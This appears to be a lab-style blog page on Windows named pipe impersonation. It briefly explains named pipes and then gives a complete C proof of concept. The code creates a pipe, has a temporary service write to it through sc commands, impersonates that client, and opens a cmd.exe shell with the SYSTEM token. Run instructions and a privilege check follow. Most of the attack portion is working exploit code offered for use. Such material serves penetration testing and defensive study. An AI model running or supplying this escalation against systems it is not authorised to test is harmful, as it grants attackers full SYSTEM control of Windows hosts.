Named Pipe Impersonation

Named pipes are a form of IPC technology which allow sharing and communication of data between two processes. The term pipe simply describes the section of shared memory used by these two processes.

Named Pipes are a FILE_OBJECT which is handled by a file system named the Named Pipe File System(NPFS). Because a Named Pipe is a FILE_OBJECT, interacting and accessing the named pipe is essentially the same as accessing a regular file.

Named pipes allow for "Impersonation", which allows a thread to execute in another security context from it's own security context. This usually applies to a Client-Server architecture where a client connects to a server and for some reason, the server needs to impersonate the client to do some other action.

For a server to impersonate a client, the client must send some sort of data to named pipe before the server can impersonate the client. The server must also need the SeImpersonatePrivilege or be running as high integrity.

For this lab(ish), we are a high level overview of the steps needed to perform this:

  1. Create a named pipe via CreateNamedPipe()

  2. Create a service

  3. Use that service to write data to the named pipe we created

  4. Call ImpersonateNamedPipeClient which allows the server to impersonate any client that connects to its pipe

  5. Create new process with that SYSTEM token

  6. Profit

POC

This is a POC that I have stolen from:

#include <Windows.h>
#include <stdio.h>

static const char* g_szNamedPipe = "\\\\.\\pipe\\getsystemyall";

static const char* g_szServiceCreate = "sc create getsystemyall binPath= \"cmd.exe /c echo WUT > \\\\.\\pipe\\getsystemyall";
static const char* g_szServiceStart = "sc start getsystemyall";
static const char* g_szServiceDelete = "sc delete getsystemyall";

DWORD WINAPI getsystem_thread(PVOID lpUnused)
{
	PROCESS_INFORMATION pi;
	STARTUPINFOA si = { 0 };
	si.cb = sizeof(si);
	char szRead[128] = { 0 };
	DWORD dwBytes = 0;
	HANDLE hToken;
	HANDLE hPipe;
	WCHAR cmd[MAX_PATH] = L"cmd.exe";

	do
	{
		// create the named pipe
		hPipe = CreateNamedPipeA(g_szNamedPipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT, 2, 0, 0, 0, NULL);

		if (!hPipe)
			break;

		// wait for SC to make connection to the pipe
		while (!ConnectNamedPipe(hPipe, NULL))
		{
			if (GetLastError() == ERROR_PIPE_CONNECTED)
				break;
		}

		// must read at least 1 byte from the pipe
		if (!ReadFile(hPipe, szRead, 1, &dwBytes, NULL))
			break;

		// impersonate the client
		if (!ImpersonateNamedPipeClient(hPipe))
			break;

		// get a handle to the SYSTEM token
		if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken))
			break;

		// pop a shell with the system token
		CreateProcessWithTokenW(hToken, 0, NULL, cmd, CREATE_NEW_CONSOLE | CREATE_NEW_PROCESS_GROUP, NULL, NULL, (LPSTARTUPINFOW)&si,&pi);
	} while (0);

	// cleanup
	if (hPipe)
	{
		DisconnectNamedPipe(hPipe);
		CloseHandle(hPipe);
	}

	return 0;
}

int main()
{
	DWORD dwThreadId;
	HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)getsystem_thread, NULL, 0, &dwThreadId);
	getchar();
	system(g_szServiceCreate);
	system(g_szServiceStart);
	system(g_szServiceDelete);


	return 0;
}

You can read the comments to get a brief overview on what it does, but for a more technical view, I recommend you go over to Microsoft and see some documentation:

Compile this and run it.

Before we press enter(i put a getchar), lets check for our named pipe with this powershell command

((Get-ChildItem \\.\pipe\).name)[-1..-5]

As we can see, we can find our named pipe.

Now let's continue execution.

We should now see a quick text message alerting us that our service creation was successful, and a new cmd popup.

Lets check its privs!

As we can see, we are now system.

Last updated